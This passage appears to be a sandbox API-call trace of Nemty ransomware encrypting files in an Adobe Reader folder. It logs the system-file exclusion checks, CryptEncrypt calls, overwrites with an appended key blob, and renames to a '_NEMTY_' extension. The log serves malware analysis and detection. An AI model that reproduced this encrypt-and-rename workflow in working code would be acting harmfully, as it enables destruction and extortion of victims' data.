lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.168] Sleep (dwMilliseconds=0x5) [0217.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35166a10, dwHighDateTime=0x1d561e8)) [0217.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35166a10, dwHighDateTime=0x1d561e8)) [0217.185] GetLastError () returned 0x0 [0217.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.185] GetLastError () returned 0x0 [0217.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.185] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.186] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="uJ9Vv844yIx815XisxnCOhzOQlrhK2LCD8bMSxI6tGdaQEUzRpDdi7Tsomqod4XT\r\nb/5n3RahJFnr4buwQ/vDXWlRZ+KG4RAhCkfWpcs0rCFquNP6StbloTK93/CxuYEf\r\nqXJB6NjJVfzCB6qVwJN5lhrhX9rNLgDiYKNIRv+EHq7xml1egBq3ZnP5XBZ9PtTw\r\nBA2EXFKEqGrq8Rl0B6FhXj6C5pWOaeXRidePBj4S2YrUv3qAPuOBa3ojZu/iOzzv\r\nKD3ZRvRcFLXu1LT6fpJyY/I5D3H6/VMqNM1WGFJOaKUrX2+XjFbh2Kp9pLTClOo9\r\ni1sxr8CCl3ajiy1MzFwxgA==\r\n", pcchString=0x653df5c) returned 1 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.186] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32721) returned 1 [0217.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fd0) returned 0x6354c48 [0217.186] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.186] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7fd0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fd0, lpOverlapped=0x0) returned 1 [0217.190] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.190] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fd0, lpOverlapped=0x0) returned 1 [0217.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.190] SetFilePointer (in: hFile=0x320, lDistanceToMove=32721, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fd1 [0217.190] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.190] CloseHandle (hObject=0x320) returned 1 [0217.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.191] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze32.clx._nemty_kgobjgd_")) returned 1 [0217.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.192] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dan.hyp", cAlternateFileName="")) returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2=".") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="..") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="...") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="windows") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="rsa") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="NTDETECT.COM") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="ntldr") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="MSDOS.SYS") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="IO.SYS") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="boot.ini") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="boot.ini") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="ntuser.dat") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="desktop.ini") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="CONFIG.SYS") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="RECYCLER") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="bootmgr") returned 1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="programdata") returned -1 [0217.192] lstrcmpiW (lpString1="dan.hyp", lpString2="appdata") returned 1 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.193] Sleep (dwMilliseconds=0x5) [0217.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3518cb70, dwHighDateTime=0x1d561e8)) [0217.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3518cb70, dwHighDateTime=0x1d561e8)) [0217.197] GetLastError () returned 0x0 [0217.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.197] GetLastError () returned 0x0 [0217.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.197] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.197] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.198] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="4E/erm/cut6/5pxcu0fZ4tNl6vClDBOhM+f79qCCYUfDKEzqhcim2UVpbEQ2hgFM\r\nNp5m6OWHu4njrSjOFe0+x30NdVh5lre+XBpuujzVqF1S3hLtLXXoK0YqXmbrcz6V\r\nzhE8Rw9XcirmKRh1w+EDLfwe/g1FbocYMlcBdcgvdbz1ILXj1U85OzyBwn5yibLh\r\nK42l0AL4DrNwqEaQoiM6+Flk6ZIAuwiYT9HBPbEBgnq8DOSehXzYt+0EahgcWGPe\r\n+RB1g+nbkHtrGiGsa7lC7K9O+mdzpcd2H0RaXyTKO0AsS+bgaB9dOLm78vlB7C0G\r\nG/QV7ddDF9g5AQ51H1iAdQ==\r\n", pcchString=0x653df5c) returned 1 [0217.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.199] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=31744) returned 1 [0217.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7c00) returned 0x6354c48 [0217.199] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.199] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7c00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7c00, lpOverlapped=0x0) returned 1 [0217.203] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.203] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7c00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7c00, lpOverlapped=0x0) returned 1 [0217.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.203] SetFilePointer (in: hFile=0x320, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0217.203] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.203] CloseHandle (hObject=0x320) returned 1 [0217.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.203] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan.hyp._nemty_kgobjgd_")) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.204] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fac, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dan32.clx", cAlternateFileName="")) returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2=".") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="..") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="...") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="windows") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="rsa") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="NTDETECT.COM") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="ntldr") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="MSDOS.SYS") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="IO.SYS") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="boot.ini") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="boot.ini") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="ntuser.dat") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="desktop.ini") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="CONFIG.SYS") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="RECYCLER") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="bootmgr") returned 1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="programdata") returned -1 [0217.205] lstrcmpiW (lpString1="dan32.clx", lpString2="appdata") returned 1 [0217.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 